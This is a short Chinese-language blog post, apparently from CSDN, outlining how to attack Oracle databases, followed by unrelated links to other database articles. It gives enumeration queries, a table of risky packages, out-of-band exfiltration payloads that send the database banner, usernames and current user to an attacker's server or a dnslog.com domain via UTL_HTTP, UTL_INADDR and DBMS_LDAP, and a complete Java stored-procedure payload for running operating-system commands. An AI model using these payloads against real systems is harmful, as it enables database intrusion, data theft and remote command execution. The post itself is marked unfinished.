oracel数据库渗透思路

难点

  • 报错回显困难
  • 多盲注

判断数据库

  • 报错信息包含dual 或 ORA 类错误,基本就是 Oracle。
  • 报错注入(测试 '||'1' )是否可触发 concat 行为
  • 特定函数
    • SELECT banner FROM v$version - SELECT * FROM dual`

信息收集

查看所有用户
SELECT username FROM all_users;

查看当前用户能访问的表
SELECT table_name FROM all_tables;

普通账号常用:USER_TABLES
SELECT table_name FROM user_tables;

查看列字段
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';

出当前用户能执行的全部 Package
SELECT * FROM USER_TAB_PRIVS WHERE PRIVILEGE = 'EXECUTE';

查看系统级授予 PUBLIC (所有用户都能执行)的可执行 Package
SELECT * FROM DBA_TAB_PRIVS WHERE GRANTEE = 'PUBLIC' AND PRIVILEGE='EXECUTE';

包名 功能 风险
UTL_INADDR DNS 请求 外带数据最隐蔽
UTL_HTTP HTTP 请求 外带数据
DBMS_LDAP LDAP 请求 外带数据
DBMS_SCHEDULER 任务计划 可系统命令执行(高权限)
DBMS_CRYPTO 加解密 破解业务密钥
DBMS_RANDOM 随机数 绕过业务限制、生成 token
JAVA 权限相关 执行 Java 代码 RCE
CREATE ANY LIBRARY 引用外部 so/dll RCE
DBMS_XDB / XDB_PROTOCOL WebDAV 某些版本可 RCE
UTL_FILE 文件操作 在特定位置读写文件

外带数据

UTL_HTTP

sql 复制代码
SELECT UTL_HTTP.REQUEST('http://你的服务器/' || (SELECT banner FROM v$version WHERE rownum=1)) FROM dual;

UTL_INADDR.DNS

sql 复制代码
SELECT UTL_INADDR.GET_HOST_ADDRESS('aaa'||(SELECT username FROM all_users WHERE rownum=1)||'.dnslog.com') FROM dual;

DBMS_LDAP

sql 复制代码
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.dnslog.com', 80) FROM dual;

文件读写

判断是否有创建目录(DIRECTORY)的权限,UTL_FILE 只能读写 directory object 指定路径。
SELECT * FROM USER_SYS_PRIVS WHERE PRIVILEGE LIKE '%DIRECTORY%';

查看当前用户可访问哪些目录对象,Oracle 读写文件不是任意路径,而是依赖 DIRECTORY 映射。
SELECT * FROM ALL_DIRECTORIES;

进一步查看

命令执行

当前用户拥有执行相关 package 的权限

payload

sql 复制代码
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS
import java.io.*;
public class cmd {
  public static String exec(String c) throws IOException {
    String s = null;
    StringBuilder sb = new StringBuilder();
    Process p = Runtime.getRuntime().exec(c);
    BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = stdInput.readLine()) != null){ sb.append(s); }
    return sb.toString();
  }
};
/

CREATE OR REPLACE FUNCTION run_cmd(p_cmd VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'cmd.exec(java.lang.String) return java.lang.String';
/

SELECT run_cmd('whoami') FROM dual;

。。。。未完待补充

相关推荐
DarkAthena10 小时前
【GaussDB】执行索引跳扫时如果遇到该索引正在执行autovacuum,可能会导致数据查询不到
数据库·gaussdb
短剑重铸之日10 小时前
《7天学会Redis》Day 5 - Redis Cluster集群架构
数据库·redis·后端·缓存·架构·cluster
007php00710 小时前
mySQL里有2000w数据,Redis中只存20w的数据,如何保证Redis中的数据都是热点数据
数据库·redis·git·mysql·面试·职场和发展·php
lkbhua莱克瓦2410 小时前
进阶-存储过程3-存储函数
java·数据库·sql·mysql·数据库优化·视图
老邓计算机毕设11 小时前
SSM心理健康系统84459(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·心理健康系统·在线咨询
碎像11 小时前
10分钟搞定 MySQL 通过Binlog 数据备份和恢复
数据库·mysql
+VX:Fegn089511 小时前
计算机毕业设计|基于springboot + vue小型房屋租赁系统(源码+数据库+文档)
数据库·vue.js·spring boot·后端·课程设计
win x11 小时前
Redis 分布式锁
数据库·redis·分布式
2501_9445210011 小时前
rn_for_openharmony商城项目app实战-商品评价实现
javascript·数据库·react native·react.js·ecmascript·harmonyos